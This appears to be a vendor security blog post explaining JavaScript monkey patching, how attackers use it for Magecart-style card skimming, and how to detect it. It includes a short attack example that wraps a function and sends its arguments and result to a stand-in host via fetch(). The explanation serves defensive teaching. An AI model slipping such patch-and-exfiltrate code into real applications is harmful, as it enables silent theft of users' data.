October 15, 2019

An Analysis of Code Poisoning (Monkey Patching) JavaScript

by Jscrambler

An Analysis of Code Poisoning (Monkey Patching) JavaScript

You have probably heard this countless times: “JavaScript is a very dynamic language”. But have you ever considered what this entails for the security of your own application?

One of the quirks of JavaScript is the ability to redefine the behavior properties and methods provided by the browser APIs and interfaces at runtime. It is also possible to redefine your own functions/objects to something else if your application requires it. This functionality is often called monkey patching.

Traditionally, monkey patching refers to dynamic modifications of existing classes or methods at runtime with the goal of changing the behavior of third-party code. Usually, this enables better fulfilling the needs of your own application. There are many ways of "patching" our code — some of them are considered as permitted or expected, others are considered as “hacky”. Some examples of expected patching are:

  • Method overriding — class overriding a method whose parent class already had an implementation for. This is a default feature on common Object-Oriented Programming languages;
  • Method overloading — multiple versions of the same method accepting a different number/type of arguments;
  • Aspect-Oriented Programming — a paradigm that can change the program behavior when some functionality is going to be executed.

However, in the context of JavaScript, we are going to discuss raw hacking/patching, i.e., dynamically replacing a method/field with another functionality and potentially reuse the original one.

How does monkey patching work?

Monkey patching is no more than reassigning a property or a function with another function. Imagine that originally you have an addition function. In the image below, we can see that behavior, in which an application invokes the add function with two arguments — numbers two and three — and returns five as the result.

Simple JavaScript Function

Now, imagine that you want to change the behavior of the add function with new functionality. To simplify, we just want to augment the result by one unit. Of course, this could be done by directly changing the source code. However, when you do not have access to the source code prior to execution — e.g. dynamically generated code or native APIs — you can dynamically "monkey patch" that function by replacing it with a new function that adds that logic.

The image below demonstrates that process, which replaces the original add function by a new function that invokes the original version to get the correct value, adds one to its result, and returns the new patched value.

Simple JavaScript Function with Monkey Patching

In this example, we could use the complete body of the original function. However, in more complex functions, or functions which are natively implemented by the engine, this might not be feasible. Thus, an "intermediate" function can be used to add new logic to a functionality and still maintain and use the original functionality if needed.

This concept can be used in different contexts and for different purposes:

  • Logging and Traceability — Logging the execution of a function or implementing tracing maneuvers;
  • Input/Output validation — Making sure the correct type of values are used in functions;
  • Security fixes — Applying patches to discovered vulnerabilities in the application;
  • Polyfills — Creating alternative functions to be compatible with older systems;
  • Caching — Creating mechanisms to cache results and optimize execution.

The code snippet below is a simple example of monkey patching for logging the execution of a native JavaScript function. The idea for this example is to validate the input argument of the square root function and throw an exception when an invalid input (not a positive number) is given. The example starts by keeping the original version in memory by assigning it to a local variable. Then, it overrides the property of the original one with a new function that includes the logic for the input value validation. At the end of that function, the original version is used to calculate the square root of a number.

var originalSqrt = Math.sqrt;
Math.sqrt = function(value){
  if (isNaN(value))
    throw 'The value is not a number';
  if(value < 0)
    throw 'Value must be a positive number'
  //...
  return originalSqrt(value);
}
//...
Math.sqrt('Hello'); // > The value is not a number
Math.sqrt(-2);      // > Value must be a positive number
Math.sqrt(9);       // > 3

Don't overuse it!

Problems can occur if you are either a third-party library developer or if your application relies on third-party libraries. In that case, if you change the behavior of Native APIs used by the scripts, you can cause erroneous behavior on the application, which can, in turn, introduce security vulnerabilities in the code.

If you own all the source code of an application, you are the only one capable of monkey patching methods. Nevertheless, you still have to be careful not to break your program's logic and/or expected behavior. As a result, your code can become harder to understand and, consequently, difficult to maintain.

What can others do to your application?

Browsers provide a vast number of APIs and interfaces to help developers create better applications. They can help in establishing network connections, making visual changes to the application or even provide cryptographic functions when needed. However, they also enable the developers to change those Native APIs, so their functionality is in accordance with what the application requires. Those changes usually have the goal to add more functionality in certain specific methods, like, for instance, parsing and evaluating the input of those methods for any invalid values. The problem is that so can attackers patch the Native APIs! By means of browser APIs and interfaces, they can extract information from your application and result in a massive (and silent) data breach.

Continuing with the previous example, an attacker can output the values being used by the function to do the calculation. The attacker will not be modifying the expected behavior of the function but might be extracting possible sensitive information to be used later.

var originalAdd = add;
add = function(a,b){
  var result = originalAdd(a,b);
  fetch("http://www.eavesdrop.com?a="+a+"&b="+b+"&result="+result);
  return result;
}
add(2,3); //sends to http://www.eavesdrop.com?a=2&b=3&result=5
> 5

How further can the attackers take it?

Imagine that we have a browser API sending a network message to a server, requesting the transfer of money to another account. An attacker could change that particular API to monitor all outgoing requests. When a particular request goes through it, the function can change the recipient of the transfer to the attacker, stealing the money without any alert to the user.

Another way for an attacker to achieve the same objective could be changing the function that is used when a user presses the submit button on a form. In the Web, forms are widely used to submit sensitive information such as credit card numbers, credentials, and personally identifiable information (PII) - all of which are valuable data to attackers who are highly motivated to illegally access or steal them.

The attack vector commonly known as Magecart uses this approach to skim credit card details of E-Commerce customers. This approach has been so successful so far that Magecart has been detected over 2 million times and infected over 100 000 stores to date. Among the major websites who fell prey to Magecart credit card skimmers, we have British Airways, who in 2018 suffered a breach that leaked credit card information of roughly 500,000 customers.

Ways to keep your application secure

If you have an application and rely on third-party libraries, the bottom line is that they broaden the attack surface of your application. To address this threat, consider testing the Native API's you are using on your own code. This is useful to detect if any library is making changes to commonly used functions. By introducing these tests in your pipeline, you can detect if a dependency has been compromised in a staging environment before pushing the vulnerable code to production.

The following list contains some of the most common functions that can be targeted by attackers to potentially exploit your application and/or the data from your users:

  • eval function
  • onClick events
  • onSubmit events
  • Fetch API
  • XMLHttpRequest API

Many others exist and will depend on the scope of your application.

Lastly, to check if a third-party script is making these malicious changes at runtime, you should make sure that you are monitoring the client-side of your application in real-time. A webpage monitoring solution immediately issues an alert whenever a third-party script tries to monkey patch your own application code and also triggers countermeasures to block the attack.

In case you’re interested in knowing more about this approach and want to see it in action, request a meeting with us.